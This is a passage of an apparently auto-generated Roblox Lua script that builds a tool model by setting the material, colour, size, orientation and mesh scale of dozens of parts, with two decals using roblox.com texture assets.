  1334. Part39.BottomSurface = Enum.SurfaceType.Smooth
  1335. Part39.TopSurface = Enum.SurfaceType.Smooth
  1336. Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1337. Part39.Position = Vector3.new(27.0773926, 1.66210902, 138.345764)
  1338. Part39.Orientation = Vector3.new(-45, 89.4599991, 0)
  1339. Part39.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1340. BlockMesh40.Parent = Part39
  1341. BlockMesh40.Offset = Vector3.new(0, 0, 0.00300000003)
  1342. BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  1343. BlockMesh40.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  1344. Part41.Parent = Tool0
  1345. Part41.Material = Enum.Material.SmoothPlastic
  1346. Part41.BrickColor = BrickColor.new("Black")
  1347. Part41.Reflectance = 0.050000000745058
  1348. Part41.Rotation = Vector3.new(-180, 0.539999962, -180)
  1349. Part41.Anchored = true
  1350. Part41.FormFactor = Enum.FormFactor.Custom
  1351. Part41.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  1352. Part41.CFrame = CFrame.new(27.0887451, 1.39013696, 138.7724, -0.999955893, 8.71412595e-08, 0.00939127803, 8.74227624e-08, 0.999999881, 2.9562246e-08, -0.00939150155, 3.03819299e-08, -0.999955535)
  1353. Part41.BottomSurface = Enum.SurfaceType.Smooth
  1354. Part41.TopSurface = Enum.SurfaceType.Smooth
  1355. Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1356. Part41.Position = Vector3.new(27.0887451, 1.39013696, 138.7724)
  1357. Part41.Orientation = Vector3.new(0, 179.459991, 0)
  1358. Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1359. BlockMesh42.Parent = Part41
  1360. BlockMesh42.Offset = Vector3.new(0, 0, 0.0599999987)
  1361. BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
  1362. BlockMesh42.Scale = Vector3.new(0.75, 0.599999964, 1.12099993)
  1363. Part43.Parent = Tool0
  1364. Part43.Material = Enum.Material.SmoothPlastic
  1365. Part43.BrickColor = BrickColor.new("Black")
  1366. Part43.Reflectance = 0.050000000745058
  1367. Part43.Rotation = Vector3.new(-180, -89.4599991, -90)
  1368. Part43.Anchored = true
  1369. Part43.FormFactor = Enum.FormFactor.Custom
  1370. Part43.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  1371. Part43.CFrame = CFrame.new(27.0847168, 1.27026403, 139.204041, 7.55679963e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.35136751e-08, -2.1839287e-07, -0.999955297, -0.00939120352)
  1372. Part43.BottomSurface = Enum.SurfaceType.Smooth
  1373. Part43.TopSurface = Enum.SurfaceType.Smooth
  1374. Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1375. Part43.Position = Vector3.new(27.0847168, 1.27026403, 139.204041)
  1376. Part43.Orientation = Vector3.new(0, -90.5400009, 90)
  1377. Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1378. CylinderMesh44.Parent = Part43
  1379. CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
  1380. CylinderMesh44.Scale = Vector3.new(1.10000002, 0.5625, 1.10000002)
  1381. Part45.Parent = Tool0
  1382. Part45.Material = Enum.Material.SmoothPlastic
  1383. Part45.BrickColor = BrickColor.new("Black")
  1384. Part45.Reflectance = 0.050000000745058
  1385. Part45.Rotation = Vector3.new(90, 0, 0.539999962)
  1386. Part45.Anchored = true
  1387. Part45.FormFactor = Enum.FormFactor.Custom
  1388. Part45.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1389. Part45.CFrame = CFrame.new(27.0944824, 1.43823195, 138.142151, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
  1390. Part45.BottomSurface = Enum.SurfaceType.Smooth
  1391. Part45.TopSurface = Enum.SurfaceType.Smooth
  1392. Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1393. Part45.Position = Vector3.new(27.0944824, 1.43823195, 138.142151)
  1394. Part45.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1395. Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1396. BlockMesh46.Parent = Part45
  1397. BlockMesh46.Offset = Vector3.new(0.0599999987, 0.0149999997, 0.0375000015)
  1398. BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
  1399. BlockMesh46.Scale = Vector3.new(0.450000018, 0.299999982, 0.149999991)
  1400. Part47.Parent = Tool0
  1401. Part47.Material = Enum.Material.SmoothPlastic
  1402. Part47.BrickColor = BrickColor.new("Black")
  1403. Part47.Reflectance = 0.050000000745058
  1404. Part47.Rotation = Vector3.new(-90, 0, -0.539999962)
  1405. Part47.Anchored = true
  1406. Part47.FormFactor = Enum.FormFactor.Custom
  1407. Part47.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1408. Part47.CFrame = CFrame.new(27.0892334, 0.901122987, 138.718384, 0.999955833, 0.00939102471, 7.51575016e-08, -7.35136609e-08, -1.75381558e-07, 0.999999583, 0.00939126313, -0.999954998, -1.74683436e-07)
  1409. Part47.BottomSurface = Enum.SurfaceType.Smooth
  1410. Part47.TopSurface = Enum.SurfaceType.Smooth
  1411. Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1412. Part47.Position = Vector3.new(27.0892334, 0.901122987, 138.718384)
  1413. Part47.Orientation = Vector3.new(-89.9499969, 156.720001, -157.259995)
  1414. Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1415. SpecialMesh48.Parent = Part47
  1416. SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1417. SpecialMesh48.MeshType = Enum.MeshType.Wedge
  1418. SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1419. Part49.Parent = Tool0
  1420. Part49.Material = Enum.Material.SmoothPlastic
  1421. Part49.BrickColor = BrickColor.new("Black")
  1422. Part49.Reflectance = 0.050000000745058
  1423. Part49.Rotation = Vector3.new(0, 89.4599991, 0)
  1424. Part49.Anchored = true
  1425. Part49.FormFactor = Enum.FormFactor.Custom
  1426. Part49.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1427. Part49.CFrame = CFrame.new(26.9870605, 1.40820301, 138.111023, 0.00939127803, 8.71412595e-08, 0.999955893, 2.9562246e-08, 0.999999881, -8.74227624e-08, -0.999955535, 3.03819299e-08, 0.00939150155)
  1428. Part49.BottomSurface = Enum.SurfaceType.Smooth
  1429. Part49.TopSurface = Enum.SurfaceType.Smooth
  1430. Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1431. Part49.Position = Vector3.new(26.9870605, 1.40820301, 138.111023)
  1432. Part49.Orientation = Vector3.new(0, 89.4599991, 0)
  1433. Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1434. CylinderMesh50.Parent = Part49
  1435. CylinderMesh50.Offset = Vector3.new(0, -0.00749999983, 0)
  1436. CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1437. CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1438. Part51.Parent = Tool0
  1439. Part51.Material = Enum.Material.SmoothPlastic
  1440. Part51.BrickColor = BrickColor.new("Black")
  1441. Part51.Reflectance = 0.050000000745058
  1442. Part51.Rotation = Vector3.new(90, 0, 0.539999962)
  1443. Part51.Anchored = true
  1444. Part51.FormFactor = Enum.FormFactor.Custom
  1445. Part51.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1446. Part51.CFrame = CFrame.new(27.0948486, 1.40820301, 138.112427, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
  1447. Part51.BottomSurface = Enum.SurfaceType.Smooth
  1448. Part51.TopSurface = Enum.SurfaceType.Smooth
  1449. Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1450. Part51.Position = Vector3.new(27.0948486, 1.40820301, 138.112427)
  1451. Part51.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1452. Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1453. BlockMesh52.Parent = Part51
  1454. BlockMesh52.Offset = Vector3.new(0, 0, 0.00749999983)
  1455. BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
  1456. BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
  1457. Part53.Parent = Tool0
  1458. Part53.Material = Enum.Material.SmoothPlastic
  1459. Part53.BrickColor = BrickColor.new("Black")
  1460. Part53.Reflectance = 0.050000000745058
  1461. Part53.Rotation = Vector3.new(0, 89.4599991, 0)
  1462. Part53.Anchored = true
  1463. Part53.FormFactor = Enum.FormFactor.Custom
  1464. Part53.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1465. Part53.CFrame = CFrame.new(27.2025146, 1.40820301, 138.11322, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
  1466. Part53.BottomSurface = Enum.SurfaceType.Smooth
  1467. Part53.TopSurface = Enum.SurfaceType.Smooth
  1468. Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1469. Part53.Position = Vector3.new(27.2025146, 1.40820301, 138.11322)
  1470. Part53.Orientation = Vector3.new(0, 89.4599991, 0)
  1471. Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1472. CylinderMesh54.Parent = Part53
  1473. CylinderMesh54.Offset = Vector3.new(0, -0.00749999983, 0)
  1474. CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1475. CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1476. Part55.Parent = Tool0
  1477. Part55.Material = Enum.Material.SmoothPlastic
  1478. Part55.BrickColor = BrickColor.new("Black")
  1479. Part55.Reflectance = 0.050000000745058
  1480. Part55.Rotation = Vector3.new(-90, 0, 179.459991)
  1481. Part55.Anchored = true
  1482. Part55.FormFactor = Enum.FormFactor.Custom
  1483. Part55.Size = Vector3.new(0.209999993, 0.324000001, 0.200000003)
  1484. Part55.CFrame = CFrame.new(27.09021, 0.813232005, 138.622009, -0.999955833, -0.00939106941, 7.61370416e-08, 7.35136609e-08, 2.79689573e-07, 0.999999523, -0.00939126313, 0.999955058, -2.7898696e-07)
  1485. Part55.BottomSurface = Enum.SurfaceType.Smooth
  1486. Part55.TopSurface = Enum.SurfaceType.Smooth
  1487. Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1488. Part55.Position = Vector3.new(27.09021, 0.813232005, 138.622009)
  1489. Part55.Orientation = Vector3.new(-89.9399948, 164.73999, 14.7299995)
  1490. Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1491. BlockMesh56.Parent = Part55
  1492. BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
  1493. BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
  1494. Part57.Parent = Tool0
  1495. Part57.Material = Enum.Material.SmoothPlastic
  1496. Part57.BrickColor = BrickColor.new("Black")
  1497. Part57.Reflectance = 0.050000000745058
  1498. Part57.Rotation = Vector3.new(180, 0.539999962, 0)
  1499. Part57.Anchored = true
  1500. Part57.FormFactor = Enum.FormFactor.Custom
  1501. Part57.Size = Vector3.new(0.209999993, 0.200000003, 0.449999988)
  1502. Part57.CFrame = CFrame.new(27.086792, 0.846190989, 138.955017, 0.999955833, -7.51575016e-08, 0.00939106941, -7.35136609e-08, -0.999999523, -1.7538153e-07, 0.00939126313, 1.74683436e-07, -0.999955058)
  1503. Part57.BottomSurface = Enum.SurfaceType.Smooth
  1504. Part57.TopSurface = Enum.SurfaceType.Smooth
  1505. Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1506. Part57.Position = Vector3.new(27.086792, 0.846190989, 138.955017)
  1507. Part57.Orientation = Vector3.new(0, 179.459991, -180)
  1508. Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1509. SpecialMesh58.Parent = Part57
  1510. SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
  1511. SpecialMesh58.MeshType = Enum.MeshType.Wedge
  1512. SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
  1513. Part59.Parent = Tool0
  1514. Part59.Material = Enum.Material.SmoothPlastic
  1515. Part59.BrickColor = BrickColor.new("Black")
  1516. Part59.Reflectance = 0.050000000745058
  1517. Part59.Rotation = Vector3.new(180, 0.5, 0)
  1518. Part59.Anchored = true
  1519. Part59.FormFactor = Enum.FormFactor.Custom
  1520. Part59.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1521. Part59.CFrame = CFrame.new(27.0842285, 1.22216797, 139.222046, 0.999961853, -1.92377968e-07, 0.0087005496, -1.90859822e-07, -0.999999702, -1.75310205e-07, 0.00870066881, 1.73642931e-07, -0.999961257)
  1522. Part59.BottomSurface = Enum.SurfaceType.Smooth
  1523. Part59.TopSurface = Enum.SurfaceType.Smooth
  1524. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1525. Part59.Position = Vector3.new(27.0842285, 1.22216797, 139.222046)
  1526. Part59.Orientation = Vector3.new(0, 179.5, -180)
  1527. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1528. BlockMesh60.Parent = Part59
  1529. BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
  1530. BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
  1531. Part61.Parent = Tool0
  1532. Part61.Material = Enum.Material.SmoothPlastic
  1533. Part61.BrickColor = BrickColor.new("Black")
  1534. Part61.Reflectance = 0.050000000745058
  1535. Part61.Rotation = Vector3.new(-180, -89.4599991, -90)
  1536. Part61.Anchored = true
  1537. Part61.FormFactor = Enum.FormFactor.Custom
  1538. Part61.Size = Vector3.new(0.209999993, 0.540000021, 0.209999993)
  1539. Part61.CFrame = CFrame.new(27.0905762, 1.27026403, 138.553284, 1.19277473e-07, 0.00939115882, -0.999955595, 0.999999702, -2.19092939e-07, 1.17225042e-07, -2.17982333e-07, -0.999955356, -0.00939118862)
  1540. Part61.BottomSurface = Enum.SurfaceType.Smooth
  1541. Part61.TopSurface = Enum.SurfaceType.Smooth
  1542. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1543. Part61.Position = Vector3.new(27.0905762, 1.27026403, 138.553284)
  1544. Part61.Orientation = Vector3.new(0, -90.5400009, 90)
  1545. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1546. CylinderMesh62.Parent = Part61
  1547. CylinderMesh62.Offset = Vector3.new(0, 0.111000001, 0)
  1548. CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
  1549. CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
  1550. Part63.Parent = Tool0
  1551. Part63.Material = Enum.Material.SmoothPlastic
  1552. Part63.BrickColor = BrickColor.new("Black")
  1553. Part63.Reflectance = 0.050000000745058
  1554. Part63.Rotation = Vector3.new(-90, 0, 179.459991)
  1555. Part63.Anchored = true
  1556. Part63.FormFactor = Enum.FormFactor.Custom
  1557. Part63.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1558. Part63.CFrame = CFrame.new(27.0906982, 0.903075993, 138.562073, -0.999955833, -0.00939102471, 7.51575016e-08, 7.35136609e-08, 1.75381558e-07, 0.999999583, -0.00939126313, 0.999954998, -1.74683436e-07)
  1559. Part63.BottomSurface = Enum.SurfaceType.Smooth
  1560. Part63.TopSurface = Enum.SurfaceType.Smooth
  1561. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1562. Part63.Position = Vector3.new(27.0906982, 0.903075993, 138.562073)
  1563. Part63.Orientation = Vector3.new(-89.9499969, 156.720001, 22.7399998)
  1564. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1565. SpecialMesh64.Parent = Part63
  1566. SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1567. SpecialMesh64.MeshType = Enum.MeshType.Wedge
  1568. SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1569. Part65.Parent = Tool0
  1570. Part65.Material = Enum.Material.SmoothPlastic
  1571. Part65.BrickColor = BrickColor.new("Black")
  1572. Part65.Reflectance = 0.050000000745058
  1573. Part65.Rotation = Vector3.new(90, 0, 0.539999962)
  1574. Part65.Anchored = true
  1575. Part65.FormFactor = Enum.FormFactor.Custom
  1576. Part65.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1577. Part65.CFrame = CFrame.new(27.0847168, 0.901122987, 139.183044, 0.999955833, -0.00939127803, -7.51574945e-08, -7.35136751e-08, 1.75381601e-07, -0.999999702, 0.00939120352, 0.999955297, 1.74683422e-07)
  1578. Part65.BottomSurface = Enum.SurfaceType.Smooth
  1579. Part65.TopSurface = Enum.SurfaceType.Smooth
  1580. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1581. Part65.Position = Vector3.new(27.0847168, 0.901122987, 139.183044)
  1582. Part65.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1583. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1584. SpecialMesh66.Parent = Part65
  1585. SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1586. SpecialMesh66.MeshType = Enum.MeshType.Wedge
  1587. SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1588. Part67.Parent = Tool0
  1589. Part67.Material = Enum.Material.SmoothPlastic
  1590. Part67.BrickColor = BrickColor.new("Black")
  1591. Part67.Reflectance = 0.050000000745058
  1592. Part67.Rotation = Vector3.new(0, -0.539999962, 180)
  1593. Part67.Anchored = true
  1594. Part67.FormFactor = Enum.FormFactor.Custom
  1595. Part67.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1596. Part67.CFrame = CFrame.new(27.0936279, 1.078125, 138.190063, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  1597. Part67.BottomSurface = Enum.SurfaceType.Smooth
  1598. Part67.TopSurface = Enum.SurfaceType.Smooth
  1599. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1600. Part67.Position = Vector3.new(27.0936279, 1.078125, 138.190063)
  1601. Part67.Orientation = Vector3.new(0, -0.539999962, 180)
  1602. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1603. SpecialMesh68.Parent = Part67
  1604. SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
  1605. SpecialMesh68.MeshType = Enum.MeshType.Wedge
  1606. SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
  1607. Part69.Parent = Tool0
  1608. Part69.Material = Enum.Material.SmoothPlastic
  1609. Part69.BrickColor = BrickColor.new("Black")
  1610. Part69.Reflectance = 0.050000000745058
  1611. Part69.Rotation = Vector3.new(180, 0.539999962, -180)
  1612. Part69.Anchored = true
  1613. Part69.FormFactor = Enum.FormFactor.Custom
  1614. Part69.Size = Vector3.new(0.209999993, 0.200000003, 0.419999987)
  1615. Part69.CFrame = CFrame.new(27.086792, 0.97607398, 138.955017, -0.999955833, 7.51574945e-08, 0.00939127803, 7.35136751e-08, 0.999999702, -1.75381601e-07, -0.00939120352, -1.74683422e-07, -0.999955297)
  1616. Part69.BottomSurface = Enum.SurfaceType.Smooth
  1617. Part69.TopSurface = Enum.SurfaceType.Smooth
  1618. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1619. Part69.Position = Vector3.new(27.086792, 0.97607398, 138.955017)
  1620. Part69.Orientation = Vector3.new(0, 179.459991, 0)
  1621. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1622. SpecialMesh70.Parent = Part69
  1623. SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
  1624. SpecialMesh70.MeshType = Enum.MeshType.Brick
  1625. SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
  1626. Part71.Parent = Tool0
  1627. Part71.Material = Enum.Material.SmoothPlastic
  1628. Part71.BrickColor = BrickColor.new("Black")
  1629. Part71.Reflectance = 0.050000000745058
  1630. Part71.Rotation = Vector3.new(0, -0.539999962, 180)
  1631. Part71.Anchored = true
  1632. Part71.FormFactor = Enum.FormFactor.Custom
  1633. Part71.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1634. Part71.CFrame = CFrame.new(27.0933838, 1.00610304, 138.262009, -0.999955833, -7.51575016e-08, -0.00939106941, 7.35136609e-08, -0.999999523, 1.7538153e-07, -0.00939126313, 1.74683436e-07, 0.999955058)
  1635. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1636. Part71.TopSurface = Enum.SurfaceType.Smooth
  1637. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1638. Part71.Position = Vector3.new(27.0933838, 1.00610304, 138.262009)
  1639. Part71.Orientation = Vector3.new(0, -0.539999962, 180)
  1640. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1641. SpecialMesh72.Parent = Part71
  1642. SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  1643. SpecialMesh72.MeshType = Enum.MeshType.Wedge
  1644. SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  1645. Part73.Parent = Tool0
  1646. Part73.Material = Enum.Material.SmoothPlastic
  1647. Part73.BrickColor = BrickColor.new("Brick yellow")
  1648. Part73.Reflectance = 0.050000000745058
  1649. Part73.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
  1650. Part73.Anchored = true
  1651. Part73.FormFactor = Enum.FormFactor.Custom
  1652. Part73.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1653. Part73.CFrame = CFrame.new(27.0927734, 0.473145008, 138.348206, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031699, -0.877250612, 0.00939126313, 0.877211511, -0.480010271)
  1654. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1655. Part73.TopSurface = Enum.SurfaceType.Smooth
  1656. Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
  1657. Part73.Position = Vector3.new(27.0927734, 0.473145008, 138.348206)
  1658. Part73.Orientation = Vector3.new(61.3099976, 179.459991, -180)
  1659. Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
  1660. SpecialMesh74.Parent = Part73
  1661. SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1662. SpecialMesh74.MeshType = Enum.MeshType.Wedge
  1663. SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1664. Part75.Parent = Tool0
  1665. Part75.Material = Enum.Material.SmoothPlastic
  1666. Part75.BrickColor = BrickColor.new("Dark stone grey")
  1667. Part75.Reflectance = 0.050000000745058
  1668. Part75.Rotation = Vector3.new(0, -75.5400009, 90)
  1669. Part75.Anchored = true
  1670. Part75.FormFactor = Enum.FormFactor.Custom
  1671. Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1672. Part75.CFrame = CFrame.new(26.9014893, 1.28222597, 138.153503, 1.172628e-07, -0.24973698, -0.968313515, 0.999999583, -1.33308845e-07, 1.55481473e-07, -1.6791428e-07, -0.968312979, 0.249736756)
  1673. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1674. Part75.TopSurface = Enum.SurfaceType.Smooth
  1675. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1676. Part75.Position = Vector3.new(26.9014893, 1.28222597, 138.153503)
  1677. Part75.Orientation = Vector3.new(0, -75.5400009, 90)
  1678. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1679. CylinderMesh76.Parent = Part75
  1680. CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
  1681. CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
  1682. Part77.Parent = Tool0
  1683. Part77.Material = Enum.Material.SmoothPlastic
  1684. Part77.BrickColor = BrickColor.new("Black")
  1685. Part77.Reflectance = 0.050000000745058
  1686. Part77.Rotation = Vector3.new(-180, -89.4599991, -90)
  1687. Part77.Anchored = true
  1688. Part77.FormFactor = Enum.FormFactor.Custom
  1689. Part77.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  1690. Part77.CFrame = CFrame.new(27.1295166, 1.27026403, 138.262512, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
  1691. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1692. Part77.TopSurface = Enum.SurfaceType.Smooth
  1693. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1694. Part77.Position = Vector3.new(27.1295166, 1.27026403, 138.262512)
  1695. Part77.Orientation = Vector3.new(0, -90.5400009, 90)
  1696. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1697. CylinderMesh78.Parent = Part77
  1698. CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
  1699. CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
  1700. Part79.Parent = Tool0
  1701. Part79.Material = Enum.Material.SmoothPlastic
  1702. Part79.BrickColor = BrickColor.new("Black")
  1703. Part79.Reflectance = 0.050000000745058
  1704. Part79.Rotation = Vector3.new(0, -0.539999962, 180)
  1705. Part79.Anchored = true
  1706. Part79.FormFactor = Enum.FormFactor.Custom
  1707. Part79.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1708. Part79.CFrame = CFrame.new(27.0936279, 1.07519495, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  1709. Part79.BottomSurface = Enum.SurfaceType.Smooth
  1710. Part79.TopSurface = Enum.SurfaceType.Smooth
  1711. Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1712. Part79.Position = Vector3.new(27.0936279, 1.07519495, 138.235168)
  1713. Part79.Orientation = Vector3.new(0, -0.539999962, 180)
  1714. Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1715. BlockMesh80.Parent = Part79
  1716. BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  1717. BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  1718. Part81.Parent = Tool0
  1719. Part81.Material = Enum.Material.SmoothPlastic
  1720. Part81.BrickColor = BrickColor.new("Black")
  1721. Part81.Reflectance = 0.050000000745058
  1722. Part81.Transparency = 1
  1723. Part81.Rotation = Vector3.new(0, 89.4599991, 0)
  1724. Part81.Anchored = true
  1725. Part81.FormFactor = Enum.FormFactor.Custom
  1726. Part81.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1727. Part81.CFrame = CFrame.new(26.9715576, 1.14721704, 138.434814, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
  1728. Part81.BottomSurface = Enum.SurfaceType.Smooth
  1729. Part81.TopSurface = Enum.SurfaceType.Smooth
  1730. Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1731. Part81.Position = Vector3.new(26.9715576, 1.14721704, 138.434814)
  1732. Part81.Orientation = Vector3.new(0, 89.4599991, 0)
  1733. Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1734. Decal82.Parent = Part81
  1735. Decal82.Texture = "http://www.roblox.com/asset/?id=30856971"
  1736. Decal83.Parent = Part81
  1737. Decal83.Texture = "http://www.roblox.com/asset/?id=30856971"
  1738. Decal83.Face = Enum.NormalId.Back
  1739. BlockMesh84.Parent = Part81
  1740. BlockMesh84.Offset = Vector3.new(0, 0, 0.119999997)
  1741. BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1742. BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1743. Part85.Parent = Tool0
  1744. Part85.Material = Enum.Material.SmoothPlastic
  1745. Part85.BrickColor = BrickColor.new("Black")
  1746. Part85.Reflectance = 0.20000000298023
  1747. Part85.Rotation = Vector3.new(-90, 0, 179.459991)
  1748. Part85.Anchored = true
  1749. Part85.FormFactor = Enum.FormFactor.Custom
  1750. Part85.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1751. Part85.CFrame = CFrame.new(27.2113037, 1.10522497, 138.527344, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
  1752. Part85.BottomSurface = Enum.SurfaceType.Smooth
  1753. Part85.TopSurface = Enum.SurfaceType.Smooth
  1754. Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1755. Part85.Position = Vector3.new(27.2113037, 1.10522497, 138.527344)
  1756. Part85.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
  1757. Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1758. BlockMesh86.Parent = Part85
  1759. BlockMesh86.Offset = Vector3.new(0.0149999997, 0, 0)
  1760. BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
